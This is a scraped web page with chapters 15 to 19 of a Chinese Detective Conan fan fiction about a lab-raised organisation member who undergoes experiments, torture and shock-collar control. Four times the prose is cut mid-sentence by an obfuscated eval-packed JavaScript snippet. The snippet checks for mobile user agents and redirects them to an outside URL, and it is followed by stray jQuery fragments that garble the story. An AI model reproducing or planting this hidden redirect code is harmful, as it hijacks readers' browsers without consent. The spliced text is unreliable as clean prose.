为了按下心中的疑虑,他这段时间一直在旁敲侧击地打听有关青木修的消息。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976841|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 结束一次单人任务,诸伏景光心中还是惦记着有关青木修的事情,并没有直接回到安全屋,而是脚步一拐,去了青木修曾经去过的那家酒吧。 他到店的时候,天色还没完全暗下来,酒吧里的组织成员并不多,大厅内零零散散地坐着几桌客人,正在闲聊攀谈。 有人注意到他进来,也仅仅是多分给了他一个眼神。 “您好,请问要喝点什么?” 酒保的声音拉回诸伏景光的思绪,他在吧台落座,把背后的贝斯包放在脚边,不断翻阅着酒单。 过了好一会儿,他才做下决定。 “一杯‘锈钉’,谢谢。” “好的,一杯锈钉。” 这里不光是组织旗下用来给成员们娱乐的酒吧,还是一处情报交换场所。 诸伏景光百无聊赖地看着酒保炫技一般的调酒,手指忽然敲了敲吧台。 酒保停下手中的动作,转头看向他。 “这里有关于杜林标的消息吗?” 见他这么问,酒保露出一个微妙的笑容,“很抱歉,暂时没有呢。” “好吧。” 诸伏景光有些失望地垂下眼睛,此时恰好酒保调制好了“锈钉”,把装有酒液的高脚杯退给他,“先生,您的酒。” 诸伏景光举起杯子,观察着杯中暗红色的酒液。 “苏格兰,你在想什么呢?” 背后忽然传来贝尔摩德的声音,把诸伏景光吓了一跳,险些把酒杯丢出去。 “贝尔摩德大人。” 酒保认出她,隔着吧台弯腰向贝尔摩德行礼。 “一杯马天尼。” 贝尔摩德顺势坐下,熟练地点酒,眼神却瞥向诸伏景光手中的酒杯。 “这个味道……” 贝尔摩德眯了眯眼睛,仔细观察了一会儿杯中的酒液。 “是‘锈钉’吧?” 知道自己在这上面撒谎没有好处,诸伏景光大大方方地承认了,“是。” “刚刚苏格兰先生还在打听有关杜林标酒的消息呢。” 酒保调制好贝尔摩德点的马天尼,不知什么时候插入两人的对话。 “是吗?” 贝尔摩德浅饮一口,摇晃着酒杯,目光轻轻摇晃。 看来苏格兰和杜林标之间的事情并不是杜林标一味的痴心妄想。 眨眼间,贝尔摩德心中已经有了自己的判断。 “看来杜林标不是单相思哦~” 她换了个说法,诸伏景光果然如她预料的那样皱起眉头,明确否认自己和杜林标之间的关系。 “贝尔摩德,这个玩笑不好玩。” 诸伏景光叹了口气,有时候他真的是拿这个酷爱看乐子的人没有一点办法。 “我和他之间什么也没有。”诸伏景光郑重强调,“我们之间就像我和波本关系好一样,仅仅出于是一个小组的成员我才对他多有照顾。” “是吗?” 贝尔摩德仍旧不信。 “你爱信不信。” 诸伏景光深知多说多错的道理,干脆点到为止,不再多做解释。 贝尔摩德却没打算这么轻易的放过他。 “我这里可是有关于杜林标的消息哦。” 16. 第 16 章 很好,这句话现在就是一个妥妥的苏格兰诱捕器。 诸伏景光放下酒杯,微微撩起眼皮看向贝尔摩德。 “你真的有他的消息?” 贝尔摩德十分满意诸伏景光给予她的反应。 “我不仅有他的消息,而且还见过他哦~” 诸伏景光搭在吧台上的手指动了动。 当初琴酒带走青木修实在是太突然,他们甚至没有一个正式的告别。 “他最近——怎么样?” 诸伏景光原本想问的是“他还好吗”,但是转念一想琴酒对待青木修的态度,话到嘴边又咽了回去,改变了说辞。 “我没说错吧!” 贝尔摩德将杯中的马天尼一饮而尽,没有第一时间解答诸伏景光的疑问,而是就这么吊着他的胃口。 “你爱说不说。” 诸伏景光作势起身就要走, 眼看乐子没了,贝尔摩德这才不慌不忙地说:“别这么心急嘛苏格兰,杜林标要是知道你的态度,恐怕是要伤心的。” “他伤不伤心关我什么事?” 诸伏景光反问贝尔摩德。 “啧啧啧……” 贝尔摩德发出一串意味不明的感叹。 就在诸伏景光的耐心即将彻底耗尽时,她终于幽幽开了口。 “其实杜林标来你们小组还有一个任务。” “什么?” 难道不是琴酒把青木修交给我们监管吗? 诸伏景光没想到任务双方会一下子调换位置。 “组织里有老鼠,这一点你知道的吧。” 闻言吗,诸伏景光心跳漏了一拍,但面上看不出丝毫端倪,“这不是人尽皆知的事情吗?” 托琴酒的福,这段时间整个组织的人都知道他在追查混进来的老鼠。 “在此之前,杜林标已经待过好几个任务小组,负责在暗中监视成员,排除他们的嫌疑。” “所以呢?我们也一样受到了怀疑是吗?” 即便心中已经有所准备,诸伏景光还是要这么问。 “别生气嘛,”贝尔摩德指尖转动,“大家都知道,琴酒发起疯来,无论是谁都会怀疑。” “也对。” 诸伏景光重新坐回椅子,“既然你能在这里和我说这些,想来我们威士忌小组应该没什么问题?” 他面色如常和贝尔摩德说着话,手心其实已经微微出汗。 诸伏景光并不知道那一天青木修把他和降谷零之间的对话听进去了多少。 “当然,你们要是有问题,恐怕杜林标被带走的当天你们几个就要被下达追杀令了。” 诸伏景光提到嗓子眼的心脏安然落回胸腔。 他不动声色地呼出一口浊气,尝了一口那杯还没动过的锈钉。 微甜的酒液入喉,杜林标酒的草本芳香后很好的综合了苏格兰威士忌的烈性,甘甜萦绕在舌尖,让人很难不去反复品味。 这是诸伏景光第一次尝试杜林标酒,口感是出乎他想象的柔和甜美。 他的喉结动了动,克制住再去品尝一口酒液的冲动。 “琴酒那个家伙还真是疑心病重啊。不过,他是怎么确定杜林标说的都是实话呢?” “习惯就好。”贝尔摩德耸耸肩膀,“组织可是有最先进的测谎仪,杜林标就算是能骗得过我们的眼睛,也骗不过精密的仪器吧?” “测谎仪都用上了?” 诸伏景光笑起来,“看来琴酒的疑心病也蔓延到杜林标身上呢。” 看来青木修那天并没有听到什么重要内容。 他放松下方才紧绷的肌肉,没忍住又尝了一口锈钉。 “话说回来,杜林标他现在在干什么?” 闲聊归闲聊,诸伏景光可没忘记自己一开始想要打听的情报。 “他在组织的实验中心。” 诸伏景光知道些组织实验中心的消息,也清楚实验中心不止一个,但贝尔摩德也不会把具体是哪一个告诉他。 “又被带回去做实验了?” 诸伏景光觉得自己说了一句废话,好在贝尔摩德没和他计较这些。 “不然呢?小白鼠除了用来做实验,难道还要像对待家养的小宠物那样对待他?” 贝尔摩德的形容让诸伏景光心里有些不太舒服,他回想起青木修的一言一行,觉得对方和自己并没有什么不同。 “不过最近的实验出了点状况……”贝尔摩德没有注意到诸伏景光的走神,还在说着,“实验方案出了些纰漏,差点要了他的命。” 诸伏景光眉头一跳。 “怎么回事?” “这么关心他啊苏格兰?还说自己没别的心思?” 诸伏景光现在已经顾不上贝尔摩德的调侃,他一心只想知道青木修的近况。 “他现在到底怎么样了?” 见他敛去笑意,贝尔摩德才正色几分,“放心好了,他现在已经没有生命危险了,实验组的人祖宗似的供着他。” 诸伏景光实在想象不出来一群科学狂魔会用什么样的方式把人供起来。 “但愿如此吧。” 他学着贝尔摩德的样子耸耸肩,双手一摊表示暂且相信贝尔摩德的话。 “苏格兰,你对杜林标的关心有些超过了。” 贝尔摩德慢慢收起笑容,目光锁住诸伏景光的眼睛。 诸伏景光毫不畏惧地和她对视,一点一点扯开一个森寒的笑容,“就算是一个玩具,玩久了也是有点感情的。” 贝尔摩德第一次见他脸上露出这种表情,感到一阵恶寒,“没想到会是这个原因。” 还以为两个人真的两情相悦呢,贝尔摩德在心中嘟囔,原来从头到尾只有杜林标一个人被苏格兰当玩具耍。 没意思。 摸清楚了诸伏景光对青木修的真实态度,贝尔摩德反而对他们俩的事情失了兴趣。 “还以为你们俩会有什么故事呢。” 她站起身,有些无趣的离开。 诸伏景光目送贝尔摩德的身影消失在酒吧中,这才把注意力转回他还没喝完的锈钉。 他脸上的表情逐渐淡去,心中生出了几丝异样的情感。 青木修对他的真心毋庸置疑。 只是自己对青木修就真的只有利用吗? 诸伏景光心里有些乱,他自己都分不清楚,那些对青木修的好,究竟是出于任务需要的虚情假意,还是也有几分真心掺杂其中? 他心情杂乱地回到安全屋,连降谷零的招呼也没注意到。 诸伏景光在自己的房间里枯坐了一夜,他在床上辗转反侧却怎么也睡不着,一闭上眼满脑子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976842|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是青木修那双湿漉漉的眼睛。 “苏格兰!我想和你做朋友!” “苏格兰,谢谢你!” “苏格兰……” 耳边是青木修一声接着一声的呼唤,吵得诸伏景光心绪不宁,根本无法入睡。 . 一直等到天边泛起鱼肚白,诸伏景光才勉强合上眼睛小憩一会儿。 这也让他成功的睡过了头,把两个队友忘在了门外。 “早啊安室。” 早就过了平时起床的点,诸伏景光才揉着眼睛,顶着一对儿黑眼圈走出卧室。 “绿川你昨晚做贼去了吗?” 降谷零被诸伏景光眼下的青黑吓了一跳,正坐在沙发上吃便当的诸星大闻声也侧头看过来。 “没有……” 诸伏景光打了个哈欠,迷迷糊糊地准备进厨房做饭,结果一脑袋撞在了门框上。 “……” “……” 剩下的两人目瞪口呆地看着不知道发生了什么的诸伏景光。 他这副模样实在是太少见了,就连诸星大都没忍住关心道:“绿川,你真的没事吗?” “没事……” 诸伏景光捂着头,这么一撞也把他撞清醒了不少。 “我们已经买了便当,你不用做饭了。” “哦哦,好的。” 看着他心不在焉的样子,降谷零心中生出几分担忧。 趁着指使诸星大出门采购食材的空档,他把诸伏景光拉到厨房里,打开抽油烟机,在机器工作的杂音下低声询问。 “昨天你出任务遇到什么事了?” “没什么事,就是听说了一点关于青木修的消息。” 自打青木修被琴酒带走之后,诸伏景光和降谷零对组织实验中心的相关情报搜集少了不少,一听见有他的消息,降谷零也有些上心。 “怎么样?那天我们的谈话他没听见什么吧?能想办法让他再回来吗?” 有一个青木修在小组里,有些工作做起来还是要轻松许多,也方便降谷零对青木修进行监视研判。 诸伏景光一一回答他的问题。 “贝尔摩德说他被带回了实验中心——具体是哪一个她没说,但似乎实验进展不太顺利,据说青木差点就死了。” 降谷零可不希望青木修随随便便就这么死了,公安那边对他的兴趣很大,前不久还让风见裕也传递消息,要求他们俩看紧青木修,尽可能的从中获取情报。 “其实他来我们小组时带着任务,监视我们其中有没有老鼠。” 降谷零脸上的肌肉抽动了一下,有些许紧张地看着诸伏景光。 “别慌,”诸伏景光安慰他,“贝尔摩德说青木修在此之前已经待过好几个行动小组了,都是这个任务——琴酒的疑心病太重,追查卧底恨不得要把整个组织翻个底朝天。” “那青木修……” “他通过了组织的测谎测试,证明了我们没有问题,想来那一天应该只听到了最后一句话。” 降谷零这才安下心来。 “只是想要把他重新调回我们小组估计有些难度。” 诸伏景光心中也在盘算,如果能让青木修回来无疑对他们有很多好处,但现在人被扣在优先度最高的试验组,他们就算是想让人回来也没有对应门路。 17. 第 17 章 诸伏景光和降谷零经过几次商讨,还是决定将青木修的近况上报给公安上级。 在零组的内部讨论会上,诸伏景光向黑田兵卫做简报。 “根据最新消息,杜林标被琴酒带走之后,一直被安置在某个实验中心内接受人体实验,并且实验进展出现意外,目前可能处于进度受阻的状态中。” “为什么会突然把这位杜林标酒召回呢?” 降谷零站起来补充道:“根据我从朗姆那边获得的消息,组织BOSS已经很久没有直接出现过了,由此推断可能是BOSS的身体状况出现问题,组织者才不得不把人紧急召回。” “看来杜林标对于组织来说意义非凡。”黑田兵卫转动着手上的签字笔,“你们还能不能设法联系上他?可不可以采取一些手段把他置于公安的控制之下。” 黑田兵卫的话给了诸伏景光一个启发,“黑田先生,或许杜林标对于组织的感情并不如我们想象中那么深厚。” “这话是什么意思?” “根据杜林标的回忆,我推断出他对组织存在一定的反抗之心,我们可以利用这一点把他划归成我们的人,为公安所用,毕竟他对组织的辛密了解不少。” 这是一个不错的点子,但执行起来依旧有一定的风险。 “你确定能做到吗?” “我可以尽力尝试。” 想到青木修现在杳无音信的状态和两人分开前的尴尬,诸伏景光也不敢把话说的太满。 “降谷,那么这件事就交给你和诸伏进行配合。” 黑田兵卫比诸伏景光考虑得还要更深一些。 “如果能策反杜林标是最好的结果,但是如果发现对方有异常举动,能控制住他最好,如果不能的话务必格杀勿论。” 青木修知道的秘密太多,如果不能掌控在警方手中,那么还不如直接杀了他安全。 “明白。” “明白。” 诸伏景光还以为黑田兵卫最多只是想控制住青木修,怎么也没料到他会做出这样的决定。 “hiro,我觉得黑田长官的决定是正确的。” 降谷零伸手在诸伏景光眼前晃了晃,“还记得杜林标跟我们第一次出任务吗?” 诸伏景光点点头。 “你还记得他当时沾到人血之后是什么反应吗?” 诸伏景光当然不会忘记那一幕,青木修伸出舌尖,轻轻舔掉了嘴角的鲜血。 “你也看见他笑了对吧?” 降谷零虽说是在问他,但实际上语气确是笃定的。 诸伏景光没有理由撒谎,他没有错过青木修当时天真又残忍的笑容。 “他说到底还是组织从实验室里培养出来的怪物,”作为一同长大的幼驯染,降谷零自然能猜出前几天诸伏景光的不对劲是源于什么,“你要记清楚,他和我们不一样。” 他和我们不一样吗?诸伏景光在心中反问自己,大家都是活生生的人,到底有 哪里不一样呢? 降谷零纵使再了解诸伏景光,也没有读心术去看穿他现在的想法。 “想杜林标这样危险的角色,如果不能为我们所用,斩草除根是最保险的做法。” 他习惯性做最坏的打算:青木修那天听到了他们俩的全部对话,只是出于某种暂不为人知的原因没有立刻告发他们俩。 毕竟测谎仪什么的,他俩当初进行公安培训时也有专门的训练,哪怕组织的仪器有多么高端精密,总是会有一些漏洞可以钻空子。 诸伏景光还在思考青木修到底和普通人有什么差异的问题。 他仔细想了想,发觉青木修有一种和社会脱节的天真。 长在实验室的孩子从来没有接触过正常的人类社会,所以在处理人际关系上一窍不通,像一张纯洁的白纸。 “hiro,hiro?” 诸伏景光回过神。 “你有没有在听我说话啊hiro?” “有的,”诸伏景光略显敷衍地点头,立刻将话题拉到自己想说的问题上,“我觉得收编青木修的希望还是很大的,我们先不要动手,让我想办法试一试。” 降谷零有些不放心,他反复提醒诸伏景光,“千万不要对杜林标心软,他终究和我们不是同一个世界的人。hiro,你想要怎么做我都不反对,但是我还是要提醒你,关键时刻千万不要失了分寸,必要的话宁可牺牲杜林标。” 有时候诸伏景光是真的羡慕降谷零这种一心为国的理性自持。 他拍拍幼驯染的肩膀,“放心好啦,我知道该怎么做的。” 当然,这只是他用来应对降谷零的话,诸伏景光的心中仍旧是一团乱麻。 . 考虑到上次的重大实验失误,左山先生并没有第一时间恢复针对青木修的实验,而是给了他一段时间用以恢复伤口。 实验组拥有称得上是最先进的药物,宫野志保利用自己的权限拿了一部分出来,悄悄用在青木修身上,一些浅一点的伤口很幸运的没留下什么疤痕。 “谢谢你,雪莉。” 趁着中午实验员休息的空档,宫野志保悄悄溜进无菌病房,拿出准备好的药物给青木修换药。 微凉的药膏抹在还未完全恢复的血肉上,微微有些疼痛。青木修缩在病床上,任由宫野志保在自己身上动作。 “没什么,只是希望你能早点好起来而已。” 宫野志保谨记左山先生的暗示,不敢对青木修流露出太多关怀,故意硬邦邦地说。 青木修不傻,看出眼前的女孩嘴硬心软,也没有直接挑破她,而是顺着她的意思笑笑。 “等你彻底好起来,实验应该又要开始了……” 宫野志保有些担心,她前一天才收到左山先生让他们整改实验方案的要求,想来是要准备着手重启实验了,也不知道青木修现在的身体状况能不能扛得住后续的实验。 她非常纠结,一边希望青木修可以等来活着走出实验室的那一天,一边又觉得或许死亡对他来说也是一种解脱。 青木修笑容不变,似乎已经完全接受了自己的命运,“没关系的,我已经习惯了。” “你这家伙……” 宫野志保看着他这副任人宰割的模样忽然气不打一处来,正要凶青木修几句,背后却传来左山先生的声音。 “雪莉,你在干什么?” 宫野志保大惊,第一时间就要去藏手中还没收起来的药膏。 但她迟了一步,左山先生已经带着人进来,命令助手抓住她拿着药膏的那只手。 “原来是来给杜林标上药啊,我说他最近恢复的怎么这么快。” 左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976843|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山先生踱步到宫野志保身边,从她手中接过药膏,言语嘲讽。 宫野志保曾经见过一次犯错的实验员受罚,她到底不过是一个不到二十岁的孩子,一想起当时看到的画面,身体开始不受控制的发抖。 “害怕了?” 左山先生的声音很严厉,“早知道害怕为什么还要这样做?” “抱歉,左山前辈。” 事已至此,宫野志保也想不到什么辩解的话来,只能不住地给左山先生道歉。 “念在你是第一次犯错的份上,这次就先放过你。” “唉?” 宫野志保没料到左山先生会这么高拿轻放,这件事就能这样过去。 “发什么呆?还不赶紧去修改实验方案?” “我明白了,前辈。” 宫野志保怕他改变主意,小跑着离开无菌室。 按照常例,宫野志保原本躲不掉一次惩罚,但现在是特殊情况,宫野志保作为修改实验设计的主力军之一,他不想因为一个人耽误整个实验的进度,这才放过她。 当然,这不代表他也会就这样放过青木修。 青木修全程安安静静地看着两人对话,既不表现的害怕也不反抗。 “听说你在威士忌小组时也是这么招人疼爱?” 他伸出手,隔着手套扣弄着青木修脖颈侧的一块血痂。 青木修瑟缩了一下,没有说话。 “你似乎很有本事,”他的态度让左山先生感到不满,“多么楚楚可怜的一张脸!总是能引来这么多人可怜你!” 身为一名科研工作者,他知道这一行最忌讳的就是实验员对实验对象产生不必要的感情,他虽然没有机会惩罚宫野志保,但是有办法让青木修自己对别人的好意感到害怕,从而主动疏远宫野志保,维持实验的正常进行。 “有必要让你长长教训。” 他动动手指,示意跟来的助手们动手。 “啊——!” 一声凄厉的惨叫声穿透现场每一个人的耳朵,左山先生心中厌烦,干脆让人把青木修的嘴巴堵上。 “唔唔!” 这下子青木修连惨叫也没有办法做到,只能大张着眼睛无声流泪。 后来发生在这里的一切,宫野志保都并不知情,等到她再次见到青木修时,时间已经来到了三天后。 “杜林标,你还好吗?” 还没走进无菌室,仅仅是隔着观察间的玻璃她就察觉出青木修的异常来。 青木修整个人蜷缩在手术床上,听见她的声音,狠狠抖了一下。 宫野志保走进无菌室,发现青木修颈侧原本已经结痂的伤口不知怎么又裂开了,眼睛也空洞无神,只是木然地随着声音看向她。 “你怎么了?” 她还没碰到青木修,后者迅速地躲开她的手。 “你……离我远一点。” 青木修在宫野志保不解的眼神中开口乞求,“请你离我远一点,求你了。” 宫野志保立刻明白过来一定是左山先生命人对他做了什么。 “你别怕,”她后退一步,慢慢离开无菌室,“我不会伤害你。” 这时候青木修已经不敢再对她的关心做出任何反应了,只是紧紧把自己蜷缩在病床的角落里,悄悄地用余光观察她是否离开无菌室。 18. 第 18 章 宫野志保到最后也没能弄清楚左山先生到底命人对青木修做了什么,但有一点可以明确的是,左山先生这一次做过了头。 青木修开始抗拒任何人的接近,不管是谁,但凡靠近他三步之内都会招来他的强烈反抗,常常是好几个研究员联手都摁不住他。 没办法,左山先生只能在每天的实验开始之前给青木修施加一定程度的电击,保证他暂时丧失行动能力,这才让实验得以勉强正常进行。 不过长此以往下去并不是办法,电击几乎每天连续不断的电击会给青木修的心脏造成巨大压力,其间甚至因为一名实验员的操作失误导致电流过大,造成了青木修的心脏骤停。 “他还是不肯让人接近吗?” 左山先生站在观察间里,隔着玻璃询问宫野志保——现在青木修也就对她态度稍微好一点,不会直接动手伤人。 “不能,他今天早上才咬伤了两名实验员。” 宫野志保如实根据早间的实验记录汇报,根据记录,当时两名实验员在对青木修进行电击之后进入无菌室,就在准备给他注射药物的时候,突然被原本已经失去行动力的青木修暴起咬伤。 她转头看向角落里的青木修。 经过一段时间的疗养,他的身上总算是长回了一点肉,但看起来还是很瘦,现在正像一只受伤的小兽般拖着手腕上的镣铐把身体紧紧贴在角落墙壁上,警惕地注视着她的一举一动。 左山先生喉咙里挤出一声不满的轻啧。 “你先出来吧。” 宫野志保尽量让自己看起来自然一些,对着青木修比出一个“再见”的手势,轻手轻脚地离开无菌室。 “前辈,我认为我们有必要给杜林标换一个环境,他现在是明显的应激了,这种状态对实验的进行没有任何好处。” 她壮着胆子向左山先生建议道。 “仔细说说。” 一旦牵扯到实验的事情,左山先生还是很能听取别人的建议。 “大家都知道的,胃部是一个情绪器官,他现在的应激状态不仅让下一步的实验难以进行,而且还影响到了胃部细胞的生长。” 为了增强自己的说服力,宫野志保向他展示了自己特意给青木修做的检查。 左山先生接过检查报告,一目十行地看过去,深深皱起眉头,“胃部细胞生长速度加快?” 这可不是什么好消息,细胞生长速度加快也意味着细胞的衰老甚至是凋亡速度也会加快,俗话说就是,青木修的胃部衰老速度加快了。 “没错,受到他现在的情绪影响以及之前有些过于激进的实验影响,杜林标原本已经年轻化的胃部细胞最近有了加速衰老的迹象。” “那你说说看,我们应该怎么办?” 宫野志保咽了咽口水,试探着说道:“要不我们先把他放出实验室?” “你什么意思?” 左山先生的语气骤然凌厉起来。 “我的意思是说,我们可以把实验搬出这间无菌室,暂时放缓实验进度,把杜林标送到一个在他潜意识里比较安全的地方,先稳定住他的胃部细胞,再做其他的打算。” 她的话打动了左山先生。 沉吟片刻,左山先生采纳了她的建议。 “那就先按你说的办。” 说到底他所做的一切都是为了实验能够顺利进行,只要是有利于他实验研究的事情,左山先生都不介意尝试一下。他们好不容易在青木修身上取得了阶段性的进展,他不希望因为一个小小的应急问题功亏一篑。 宫野志保眼睛一亮,她总是板着的脸上露出一个浅笑——当然是低着头的,不能让左山先生看见,不然谁知道又会发生什么,她已经不想再因为自己而给青木修带来麻烦了。 “那我们把他送到哪里呢?” 这个问题让左山先生的笑容一下子僵在脸上,是啊,到底有什么地方对于青木修来说比较安全呢? 组织里似乎并没有哪一处对于青木修来说比较舒心。 直接塞回琴酒手下那就跟不可能了,除非他们想让青木修的应激症状进一步加重。 左山先生第一次为自己的行为感到后悔。 当然,这并不是出于对青木修的愧疚,或者说歉意,而是为现在的状况严重影响到实验感到苦恼。 把他送去哪里呢…… 左山先生思考片刻,脑海里突然蹦出了一个绝佳的人选。 苏格兰威士忌。 虽然他沉迷于实验研究,但是关于青木修的一些风言风语他还是有所耳闻。 左山先生不相信青木修和苏格兰威士忌之间什么事情都没有,不管是苏格兰对青木修有什么意思,还是说单纯就是青木修一个人的单箭头,送回威士忌小组都是一个不错的选项。 即便他也对青木修被接回实验中心前似乎和苏格兰威士忌闹掰的事情有所了解,但是翻遍整个组织,也暂时找不出来一个比苏格兰威士忌更合适的人选了。 还真是麻烦啊。 左山先生短暂的苦恼了一下,他向来是讨厌思考除了实验之外的一切事情。 “联系琴酒,”左山先生找来助手,吩咐道,“准备把杜林标送回威士忌小组。” 助手不会对左山先生的命令产生任何疑问,领命下去就开始让人着手准备押运事宜。 “接下来我会常驻东京实验中心,”交代完助手,左山先生重新看向宫野志保,“鸟取这边备份了很多从杜林标身上采集的细胞标本,你可以先利用这些东西进行初步实验,最好能在我们回来之前拿出一个完整可行的实验方案。” 这明晃晃要把鸟取这边的实验中心交给她了,看来左山先生对与宫野志保的重视程度又上升不少。 宫野志保恰到好处地流露出一丝受宠若惊的神色,“谢谢前辈信任!” 左山先生说一不二,第二天就带着被注射了麻药的青木修坐上返回东京的车。 “他怎么搞成了这副样子?” 在东京基地见到琴酒时,青木修正好悠悠转醒。 琴酒看到青木修现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13976844|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在的模样,没忍住皱起眉头,“你们就送回来这样一个废物给行动组?” 他讨厌废物,也同样看不惯这些总是半路劫走他们行动组抓回来的人的实验人员。 琴酒一直觉得这些实验组没有一点自己的本事,实验进行了那么久,找了那么多人也不见有什么进展。 左山先生没有兴趣和他争辩,只是让助手把青木修押给琴酒。 “实验出了一些岔子,我们需要让这个家伙休息一段时间。” 他所说的“休息”,就是把青木修送回行动组继续执行任务。 “所以真是把一个废物送来了?” 琴酒打算靠近青木修,后者却开始激烈挣扎了起来。 左山先生见状,不疾不徐地从口袋里取出一个遥控器,轻轻按下正中央的红色按钮。 两名押着青木修的助手见状立刻松手。 青木修还没来得及有所动作,一股电流便从手腕处窜了上来。 他直挺挺倒在地上,身体开始不受控制的痉挛抽搐起来。 “你们又搞了什么鬼?” 琴酒回退一步,皱着眉头问左山先生,实验组不会真的送了个拖油瓶回来吧? 左山先生讪笑一声,难得露出有些尴尬的表情,“他有点应激反应,但是我们已经给他植入了一个电击器。” 他举起青木修的左手,瘦削的手腕上紧紧套着一个黑色手环。 “这个电击器直接植入皮下,如果他有失控的时候直接用这个比较好。” 他把控制器交给琴酒,“我们得出的结论是让他暂时返回威士忌小组比较好,等到他的应激好一点之后再由我们接回实验室,当然,这段时间我也会一直留在东京,每半个月对他进行一次检查和实验。” 琴酒心中虽有不满,但他明白正在青木修身上进行的一号实验对于BOSS的重要性,也不得不暂时把人接纳。 “看到了吗?这个东西。” 琴酒把控制器在青木修眼前晃了晃,“你最好不要有什么别的心思。” 琴酒他并不想深究左山先生点名要把青木修送回威士忌组的原因——他只在乎行动组的人能不能用。 看着琴酒联系上威士忌小组,醉心于实验的左山先生立刻把人丢下,带着助手前往埋藏在基地之下的东京实验中心。 很少有人知道,组织的东京实验中心就在基地的下方。 “你现在就像被抛弃的宠物。” 琴酒缓缓蹲下身,逼迫青木修和自己对视。 青木修突然动手,袭向琴酒的眼睛。 琴酒松手躲开,面带笑意地再次按下控制器。 青木修就像是被人突然掐住脖子一样停滞住所有的动作,僵硬一秒后又一次重重摔在了地上。 他艰难地昂起脖子,看看琴酒又看看那个控制器,似乎终于明白过来他现在根本奈何不了琴酒分毫,便挣扎着退到了墙边,把自己缩成一团抱住——惹不起他总躲得起。 “呵。” 琴酒轻嗤。 19. 第 19 章 诸伏景光推开房门的时候看见的就是这么一副景象: 青木修蜷缩在墙边,把身体紧紧贴住墙壁,脸半埋在臂弯里,只露出一双眼睛,充满不安地望着琴酒。 “杜林标?” 时隔三个月,诸伏景光终于有一次见到青木修。 他收到琴酒的消息时还庆幸了一下,真是瞌睡了有人递枕头——他和降谷零两人正愁没办法再联系到青木修呢。 出乎他意料,青木修听见他的声音之后仅仅是飞快瞥了一眼,接着又把视线转回琴酒的手上。 诸伏景光顺着他的目光看向琴酒的手。 他正捏着一个控制器。 “这是什么情况?” 诸伏景光一时间有些摸不着头脑,他怎么也想不到短短三个月的时间,青木修的变化会这么大。 要不是那双标志性的灰色眼睛,他还险些没有认出来。 “接着。” 琴酒把控制器抛出去,诸伏景光慌忙接住。 “实验组那边出了岔子,把人整成神经病了,丢回来让你们接手一段时间。” 琴酒言简意赅,三两句话便把左山先生交代给他的话解释清楚。 诸伏景光哽了一下,不理解琴酒口中“神经病”到底是个多么严重的程度。 “他现在有些不听话——” 琴酒示意诸伏景光看向青木修的左手腕,“这是植入皮下的电击器,你手上拿的是控制器,他要是有什么逃跑行为就用这个教训他。” “他不是还有一个定位器吗?” 诸伏景光可没忘记青木修舌头上还有一个小型的定位仪。 “他现在可不单是想着跑。” 琴酒示意诸伏景光可以把人带走了,“他现在还想学会打人了。” 这话怎么听怎么奇怪,但诸伏景光也不方便问太多,只好先把控制器收起来,一步一步靠近青木修。 “你别过来!” 就在诸伏景光距离青木修还有三步左右时,青木修忽然开口说了他进门后的第一句话。 琴酒正打算离开,见青木修竟然没有攻击诸伏景光,有些玩味地留了下来。 “你别过来!” 青木修又说了一遍,身体贴着墙壁更紧了,仿佛恨不得化身一只小壁虎,干脆爬到墙上去算了。 诸伏景光听到他的声音,心中涌起一丝酸涩——青木修的声音已经完全哑了。 “我是苏格兰。” 他又试着靠近青木修一步。 听到“苏格兰”几个字,青木修干涩的眼睛逐渐湿润了。 “你走开!” 青木修没有再后退,也没有想要对诸伏景光动手的迹象,只是把头彻底埋进臂弯里,浑身不受控制地颤抖着。 “跟我回家吧。” 诸伏景光在两步之外站定,朝着青木修伸出一只手。 “啪!” 眼看那只手就要触到青木修的头顶,他像是有感觉似的突然把那只手拍开。 诸伏景光注意到背后琴酒的眼神,站在原地有些尴尬。 “看来你们之间真的有什么。” 琴酒无心再看这场闹剧。上前一步从诸伏景光手中夺过遥控器,摁下按钮。 强力的电击再一次翻涌而上,青木修承受不住如此之大的电流,身体一软,昏了过去。 “带他走吧。” 